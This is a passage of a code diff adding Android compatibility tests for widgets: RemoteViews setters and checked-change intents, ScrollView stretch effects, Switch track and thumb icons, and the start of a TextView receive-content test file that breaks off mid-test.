+        mContext.registerReceiver(receiver, new IntentFilter(action));
+
+        Intent intent = new Intent(action).setPackage(mContext.getPackageName());
+        PendingIntent pendingIntent =
+                PendingIntent.getBroadcast(
+                        mContext,
+                        0,
+                        intent,
+                        PendingIntent.FLAG_UPDATE_CURRENT);
+        mRemoteViews.setOnCheckedChangeResponse(R.id.remoteView_checkBox,
+                RemoteViews.RemoteResponse.fromPendingIntent(pendingIntent));
+
+        // View being checked to true should launch the intent with the extra set to true.
+        CompoundButton view = mResult.findViewById(R.id.remoteView_checkBox);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mActivityRule.runOnUiThread(() -> view.setChecked(true));
+        mInstrumentation.waitForIdleSync();
+        assertNotNull(receiver.mIntent);
+        assertTrue(receiver.mIntent.getBooleanExtra(RemoteViews.EXTRA_CHECKED, false));
+
+        // Changing the checked state from a RemoteViews action should not launch the intent.
+        receiver.mIntent = null;
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_checkBox, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mInstrumentation.waitForIdleSync();
+        assertFalse(view.isChecked());
+        assertNull(receiver.mIntent);
+
+        // View being checked to false should launch the intent with the extra set to false.
+        receiver.mIntent = null;
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        mActivityRule.runOnUiThread(() -> view.setChecked(true));
+        mActivityRule.runOnUiThread(() -> view.setChecked(false));
+        mInstrumentation.waitForIdleSync();
+        assertNotNull(receiver.mIntent);
+        assertFalse(receiver.mIntent.getBooleanExtra(RemoteViews.EXTRA_CHECKED, true));
+    }
+
+    @Test
     public void testSetLong() throws Throwable {
         long base1 = 50;
         long base2 = -50;
@@ -837,6 +895,23 @@
     }
 
     @Test
+    public void testSetBlendMode() throws Throwable {
+        ImageView imageView = mResult.findViewById(R.id.remoteView_image);
+
+        mRemoteViews.setBlendMode(R.id.remoteView_image, "setImageTintBlendMode", BlendMode.PLUS);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(BlendMode.PLUS, imageView.getImageTintBlendMode());
+
+        mRemoteViews.setBlendMode(R.id.remoteView_image, "setImageTintBlendMode", BlendMode.SRC_IN);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(BlendMode.SRC_IN, imageView.getImageTintBlendMode());
+
+        mRemoteViews.setBlendMode(R.id.remoteView_image, "setImageTintBlendMode", null);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertNull(imageView.getImageTintBlendMode());
+    }
+
+    @Test
     public void testRemoveAllViews() throws Throwable {
         ViewGroup root = (ViewGroup) mResult.findViewById(R.id.remoteViews_good);
         assertTrue(root.getChildCount() > 0);
@@ -919,6 +994,254 @@
         assertEquals(10, textView.getPaddingBottom());
     }
 
+    @Test
+    public void testSetIntDimen_fromResources() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        int expectedValue = mContext.getResources().getDimensionPixelSize(R.dimen.popup_row_height);
+
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                R.dimen.popup_row_height);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getCompoundDrawablePadding());
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                R.color.testcolor1);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetIntDimen_fromUnitDimension() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        float value = 12f;
+        int unit = COMPLEX_UNIT_DIP;
+        int expectedValue = TypedValue.complexToDimensionPixelSize(
+                TypedValue.createComplexDimension(value, unit),
+                mContext.getResources().getDisplayMetrics());
+
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                value, unit);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getCompoundDrawablePadding());
+
+        unit = TypedValue.COMPLEX_UNIT_SP;
+        expectedValue = TypedValue.complexToDimensionPixelSize(
+                TypedValue.createComplexDimension(value, unit),
+                mContext.getResources().getDisplayMetrics());
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                value, unit);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getCompoundDrawablePadding());
+
+        unit = TypedValue.COMPLEX_UNIT_PX;
+        expectedValue = TypedValue.complexToDimensionPixelSize(
+                TypedValue.createComplexDimension(value, unit),
+                mContext.getResources().getDisplayMetrics());
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                value, unit);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getCompoundDrawablePadding());
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setIntDimen(R.id.remoteView_text, "setCompoundDrawablePadding",
+                value, 123456);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetFloatDimen_fromResources() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        float expectedValue = mContext.getResources().getDimension(R.dimen.popup_row_height);
+
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX", R.dimen.popup_row_height);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getTextScaleX(), 1e-4f);
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX", R.color.testcolor1);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetFloatDimen_fromUnitDimension() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        float value = 12f;
+        int unit = COMPLEX_UNIT_DIP;
+        int expectedValue = TypedValue.complexToDimensionPixelSize(
+                TypedValue.createComplexDimension(value, unit),
+                mContext.getResources().getDisplayMetrics());
+
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX",
+                value, unit);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getTextScaleX(), 1e-4f);
+
+        unit = TypedValue.COMPLEX_UNIT_SP;
+        expectedValue = TypedValue.complexToDimensionPixelSize(
+                TypedValue.createComplexDimension(value, unit),
+                mContext.getResources().getDisplayMetrics());
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX",
+                value, unit);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getTextScaleX(), 1e-4f);
+
+        unit = TypedValue.COMPLEX_UNIT_PX;
+        expectedValue = TypedValue.complexToDimensionPixelSize(
+                TypedValue.createComplexDimension(value, unit),
+                mContext.getResources().getDisplayMetrics());
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX",
+                value, unit);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getTextScaleX(), 1e-4f);
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setFloatDimen(R.id.remoteView_text, "setTextScaleX",
+                value, 123456);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+
+    @Test
+    public void testSetColor() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        int expectedValue = mContext.getColor(R.color.testcolor1);
+
+        mRemoteViews.setColor(R.id.remoteView_text, "setTextColor", R.color.testcolor1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(ColorStateList.valueOf(expectedValue), textView.getTextColors());
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setColor(R.id.remoteView_text, "setTextColor", R.dimen.popup_row_height);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetColorStateList_fromResources() throws Throwable {
+        TextView textView = (TextView) mResult.findViewById(R.id.remoteView_text);
+        ColorStateList expectedValue = mContext.getColorStateList(R.color.testcolorstatelist1);
+
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor",
+                R.color.testcolorstatelist1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(expectedValue, textView.getTextColors());
+
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor",
+                R.color.testcolor1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        expectedValue = mContext.getResources().getColorStateList(R.color.testcolor1,
+                mContext.getTheme());
+        assertEquals(expectedValue, textView.getTextColors());
+
+        mExpectedException.expect(ActionException.class);
+        mRemoteViews.setColorStateList(R.id.remoteView_text, "setTextColor",
+                R.dimen.popup_row_height);
+        mRemoteViews.reapply(mContext, mResult);
+    }
+
+    @Test
+    public void testSetViewOutlinePreferredRadius() throws Throwable {
+        View root = mResult.findViewById(R.id.remoteViews_good);
+        DisplayMetrics displayMetrics = root.getResources().getDisplayMetrics();
+
+        mRemoteViews.setViewOutlinePreferredRadius(
+                R.id.remoteViews_good, 8, COMPLEX_UNIT_DIP);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                TypedValue.applyDimension(COMPLEX_UNIT_DIP, 8, displayMetrics),
+                ((RemoteViews.RemoteViewOutlineProvider) root.getOutlineProvider()).getRadius(),
+                0.1 /* delta */);
+
+        mRemoteViews.setViewOutlinePreferredRadius(
+                R.id.remoteViews_good, 16, COMPLEX_UNIT_PX);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                16,
+                ((RemoteViews.RemoteViewOutlineProvider) root.getOutlineProvider()).getRadius(),
+                0.1 /* delta */);
+    }
+
+    @Test
+    public void testSetViewOutlinePreferredRadiusDimen() throws Throwable {
+        View root = mResult.findViewById(R.id.remoteViews_good);
+
+        mRemoteViews.setViewOutlinePreferredRadiusDimen(
+                R.id.remoteViews_good, R.dimen.popup_row_height);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                root.getResources().getDimension(R.dimen.popup_row_height),
+                ((RemoteViews.RemoteViewOutlineProvider) root.getOutlineProvider()).getRadius(),
+                0.1 /* delta */);
+
+        mRemoteViews.setViewOutlinePreferredRadiusDimen(
+                R.id.remoteViews_good, 0);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertEquals(
+                0,
+                ((RemoteViews.RemoteViewOutlineProvider) root.getOutlineProvider()).getRadius(),
+                0.1 /* delta */);
+    }
+
+    @Test
+    public void testSetSwitchChecked() throws Throwable {
+        Switch toggle = mResult.findViewById(R.id.remoteView_switch);
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_switch, true);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(toggle.isChecked());
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_switch, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(toggle.isChecked());
+    }
+
+    @Test
+    public void testSetCheckBoxChecked() throws Throwable {
+        CheckBox checkBox = mResult.findViewById(R.id.remoteView_checkBox);
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_checkBox, true);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(checkBox.isChecked());
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_checkBox, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(checkBox.isChecked());
+    }
+
+    @Test
+    public void testSetRadioButtonChecked() throws Throwable {
+        RadioButton radioButton = mResult.findViewById(R.id.remoteView_radioButton1);
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_radioButton1, true);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(radioButton.isChecked());
+
+        mRemoteViews.setCompoundButtonChecked(R.id.remoteView_radioButton1, false);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(radioButton.isChecked());
+    }
+
+    @Test
+    public void testSetRadioGroupChecked() throws Throwable {
+        RadioGroup radioGroup = mResult.findViewById(R.id.remoteView_radioGroup);
+        RadioButton button1 = mResult.findViewById(R.id.remoteView_radioButton1);
+        RadioButton button2 = mResult.findViewById(R.id.remoteView_radioButton2);
+
+        mRemoteViews.setRadioGroupChecked(R.id.remoteView_radioGroup, R.id.remoteView_radioButton1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertTrue(button1.isChecked());
+        assertFalse(button2.isChecked());
+
+        mRemoteViews.setRadioGroupChecked(R.id.remoteView_radioGroup, R.id.remoteView_radioButton2);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(button1.isChecked());
+        assertTrue(button2.isChecked());
+
+        mRemoteViews.setRadioGroupChecked(R.id.remoteView_radioGroup, -1);
+        mActivityRule.runOnUiThread(() -> mRemoteViews.reapply(mContext, mResult));
+        assertFalse(button1.isChecked());
+        assertFalse(button2.isChecked());
+    }
+
     private void createSampleImage(File imagefile, int resid) throws IOException {
         try (InputStream source = mContext.getResources().openRawResource(resid);
              OutputStream target = new FileOutputStream(imagefile)) {
@@ -929,4 +1252,14 @@
             }
         }
     }
+
+    private static final class MockBroadcastReceiver extends BroadcastReceiver {
+
+        Intent mIntent;
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mIntent = intent;
+        }
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
index 1e4f20e..abba07c 100644
--- a/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ScrollViewTest.java
@@ -39,10 +39,12 @@
 import android.widget.FrameLayout;
 import android.widget.ScrollView;
 import android.widget.TextView;
+import android.widget.cts.util.StretchEdgeUtil;
 import android.widget.cts.util.TestUtils;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.MediumTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
@@ -81,6 +83,7 @@
     private ScrollView mScrollViewRegular;
     private ScrollView mScrollViewCustom;
     private MyScrollView mScrollViewCustomEmpty;
+    private ScrollView mScrollViewStretch;
 
     @Rule
     public ActivityTestRule<ScrollViewCtsActivity> mActivityRule =
@@ -94,6 +97,7 @@
         mScrollViewCustom = (ScrollView) mActivity.findViewById(R.id.scroll_view_custom);
         mScrollViewCustomEmpty = (MyScrollView) mActivity.findViewById(
                 R.id.scroll_view_custom_empty);
+        mScrollViewStretch = (ScrollView) mActivity.findViewById(R.id.scroll_view_stretch);
 
         // calculate pixel positions from dpi constants.
         mItemWidth = TestUtils.dpToPx(mActivity, ITEM_WIDTH_DPI);
@@ -839,6 +843,62 @@
         assertEquals(mScrollViewRegular.getBottomEdgeEffectColor(), Color.GREEN);
     }
 
+    @Test
+    public void testStretchAtTop() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragDownStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchAtTopAndCatch() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragDownTapAndHoldStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    @Test
+    public void testStretchAtBottom() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Scroll all the way to the bottom
+            mScrollViewStretch.scrollTo(0, 210);
+        });
+
+        assertTrue(StretchEdgeUtil.dragUpStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchAtBottomAndCatch() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Scroll all the way to the bottom
+            mScrollViewStretch.scrollTo(0, 210);
+        });
+
+        assertTrue(StretchEdgeUtil.dragUpTapAndHoldStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    private void showOnlyStretch() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mScrollViewCustom.setVisibility(View.GONE);
+            mScrollViewCustomEmpty.setVisibility(View.GONE);
+            mScrollViewRegular.setVisibility(View.GONE);
+        });
+    }
+
     private boolean isInRange(int current, int from, int to) {
         if (from < to) {
             return current >= from && current <= to;
diff --git a/tests/tests/widget/src/android/widget/cts/SwitchTest.java b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
index 245db43..7dd50e8 100644
--- a/tests/tests/widget/src/android/widget/cts/SwitchTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SwitchTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
@@ -30,6 +31,8 @@
 import android.graphics.Rect;
 import android.graphics.Typeface;
 import android.graphics.drawable.Drawable;
+import android.graphics.drawable.GradientDrawable;
+import android.graphics.drawable.Icon;
 import android.view.ContextThemeWrapper;
 import android.view.ViewGroup;
 import android.widget.Switch;
@@ -324,4 +327,122 @@
                 () -> mSwitch.setSplitTrack(false));
         assertFalse(mSwitch.getSplitTrack());
     }
+
+    @Test
+    public void testSetTrackIcon() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        Icon blueFill = Icon.createWithResource(mActivity, R.drawable.blue_fill);
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                () -> mSwitch.setTrackIcon(blueFill));
+        GradientDrawable track = (GradientDrawable) mSwitch.getTrackDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, track.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), track.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                () -> mSwitch.setTrackIcon(null));
+        assertNull(mSwitch.getTrackDrawable());
+    }
+
+    @Test
+    public void testSetTrackIconAsync() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        Icon blueFill = Icon.createWithResource(mActivity, R.drawable.blue_fill);
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setTrackIconAsync(blueFill));
+        GradientDrawable track = (GradientDrawable) mSwitch.getTrackDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, track.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), track.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setTrackIconAsync(null));
+        assertNull(mSwitch.getTrackDrawable());
+    }
+
+    @Test
+    public void testSetTrackResourceAsync() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setTrackResourceAsync(R.drawable.blue_fill));
+        GradientDrawable track = (GradientDrawable) mSwitch.getTrackDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, track.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), track.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setTrackResourceAsync(0));
+        assertNull(mSwitch.getTrackDrawable());
+    }
+
+    @Test
+    public void testSetThumbIcon() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        Icon blueFill = Icon.createWithResource(mActivity, R.drawable.blue_fill);
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                () -> mSwitch.setThumbIcon(blueFill));
+        GradientDrawable thumb = (GradientDrawable) mSwitch.getThumbDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, thumb.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), thumb.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                () -> mSwitch.setThumbIcon(null));
+        assertNull(mSwitch.getThumbDrawable());
+    }
+
+    @Test
+    public void testSetThumbIconAsync() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        Icon blueFill = Icon.createWithResource(mActivity, R.drawable.blue_fill);
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setThumbIconAsync(blueFill));
+        GradientDrawable thumb = (GradientDrawable) mSwitch.getThumbDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, thumb.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), thumb.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setThumbIconAsync(null));
+        assertNull(mSwitch.getThumbDrawable());
+    }
+
+    @Test
+    public void testSetThumbResourceAsync() {
+        mSwitch = findSwitchById(R.id.switch3);
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setThumbResourceAsync(R.drawable.blue_fill));
+        GradientDrawable thumb = (GradientDrawable) mSwitch.getThumbDrawable();
+        assertEquals(GradientDrawable.RECTANGLE, thumb.getShape());
+        assertEquals(ColorStateList.valueOf(Color.BLUE), thumb.getColor());
+
+        WidgetTestUtils.runOnMainAndDrawSync(
+                mActivityRule,
+                mSwitch,
+                mSwitch.setThumbResourceAsync(0));
+        assertNull(mSwitch.getThumbDrawable());
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java b/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java
new file mode 100644
index 0000000..3140f50
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/TextViewOnReceiveContentTest.java
@@ -0,0 +1,824 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static android.view.ContentInfo.FLAG_CONVERT_TO_PLAIN_TEXT;
+import static android.view.ContentInfo.SOURCE_AUTOFILL;
+import static android.view.ContentInfo.SOURCE_CLIPBOARD;
+import static android.view.ContentInfo.SOURCE_DRAG_AND_DROP;
+import static android.view.ContentInfo.SOURCE_INPUT_METHOD;
+import static android.view.ContentInfo.SOURCE_PROCESS_TEXT;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.when;
+
+import android.annotation.NonNull;
+import android.annotation.Nullable;
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.ClipDescription;
+import android.content.ClipboardManager;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Bundle;
+import android.text.Selection;
+import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.method.QwertyKeyListener;
+import android.text.method.TextKeyListener.Capitalize;
+import android.text.style.UnderlineSpan;
+import android.view.ContentInfo;
+import android.view.DragEvent;
+import android.view.OnReceiveContentListener;
+import android.view.View.MeasureSpec;
+import android.view.autofill.AutofillValue;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputConnection;
+import android.view.inputmethod.InputContentInfo;
+import android.widget.TextView;
+import android.widget.TextView.BufferType;
+import android.widget.TextViewOnReceiveContentListener;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentMatcher;
+import org.mockito.Mockito;
+
+import java.util.Objects;
+
+/**
+ * Tests for {@link TextView#performReceiveContent} and related code.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class TextViewOnReceiveContentTest {
+    public static final Uri SAMPLE_CONTENT_URI = Uri.parse("content://com.example/path");
+    @Rule
+    public ActivityTestRule<TextViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(TextViewCtsActivity.class);
+
+    private Activity mActivity;
+    private TextView mTextView;
+    private OnReceiveContentListener mDefaultReceiver;
+    private OnReceiveContentListener mMockReceiver;
+    private ClipboardManager mClipboardManager;
+
+    @Before
+    public void before() {
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+        mTextView = mActivity.findViewById(R.id.textview_text);
+        mDefaultReceiver = new TextViewOnReceiveContentListener();
+
+        mMockReceiver = Mockito.mock(OnReceiveContentListener.class);
+        when(mMockReceiver.onReceiveContent(any(), any())).thenReturn(null);
+
+        mClipboardManager = mActivity.getSystemService(ClipboardManager.class);
+        mClipboardManager.clearPrimaryClip();
+
+        configureAppTargetSdkToS();
+    }
+
+    @After
+    public void after() {
+        resetTargetSdk();
+    }
+
+    // ============================================================================================
+    // Tests to verify TextView APIs/accessors/defaults related to OnReceiveContentListener.
+    // ============================================================================================
+
+    @UiThreadTest
+    @Test
+    public void testTextView_onCreateInputConnection_nullEditorInfo() throws Exception {
+        initTextViewForEditing("xz", 1);
+        try {
+            mTextView.onCreateInputConnection(null);
+            Assert.fail("Expected exception");
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    @UiThreadTest
+    @Test
+    public void testTextView_onCreateInputConnection_noCustomReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Call onCreateInputConnection() and assert that contentMimeTypes is not set when there is
+        // no custom receiver configured.
+        EditorInfo editorInfo = new EditorInfo();
+        InputConnection ic = mTextView.onCreateInputConnection(editorInfo);
+        assertThat(ic).isNotNull();
+        assertThat(editorInfo.contentMimeTypes).isNull();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testTextView_onCreateInputConnection_customReceiver() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain", "image/png", "video/mp4"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Call onCreateInputConnection() and assert that contentMimeTypes is set from the receiver.
+        EditorInfo editorInfo = new EditorInfo();
+        InputConnection ic = mTextView.onCreateInputConnection(editorInfo);
+        assertThat(ic).isNotNull();
+        assertThat(editorInfo.contentMimeTypes).isEqualTo(receiverMimeTypes);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testTextView_onCreateInputConnection_customReceiver_oldTargetSdk()
+            throws Exception {
+        configureAppTargetSdkToR();
+        initTextViewForEditing("xz", 1);
+
+        // Setup: Configure the receiver to a mock impl.
+        String[] receiverMimeTypes = new String[] {"text/plain", "image/png", "video/mp4"};
+        mTextView.setOnReceiveContentListener(receiverMimeTypes, mMockReceiver);
+
+        // Call onCreateInputConnection() and assert that contentMimeTypes is set from the receiver.
+        EditorInfo editorInfo = new EditorInfo();
+        InputConnection ic = mTextView.onCreateInputConnection(editorInfo);
+        assertThat(ic).isNotNull();
+        assertThat(editorInfo.contentMimeTypes).isEqualTo(receiverMimeTypes);
+    }
+
+    // ============================================================================================
+    // Tests to verify the behavior of TextViewOnReceiveContentListener.
+    // ============================================================================================
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_text() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        ClipData clip = ClipData.newPlainText("test", "y");
+        onReceive(mDefaultReceiver, clip, SOURCE_CLIPBOARD, 0);
+
+        assertTextAndCursorPosition("xyz", 2);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDefaultReceiver_onReceive_styledText() throws Exception {
+        initTextViewForEditing("xz", 1);
+
+        UnderlineSpan underlineSpan = new UnderlineSpan();
+        SpannableStringBuilder ssb = new SpannableStringBuilder("hi world");
+        ssb.setSpan(underlineSpan, 3, 7, Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);
+        ClipData clip = ClipData.newPlainText("test", ssb);
+
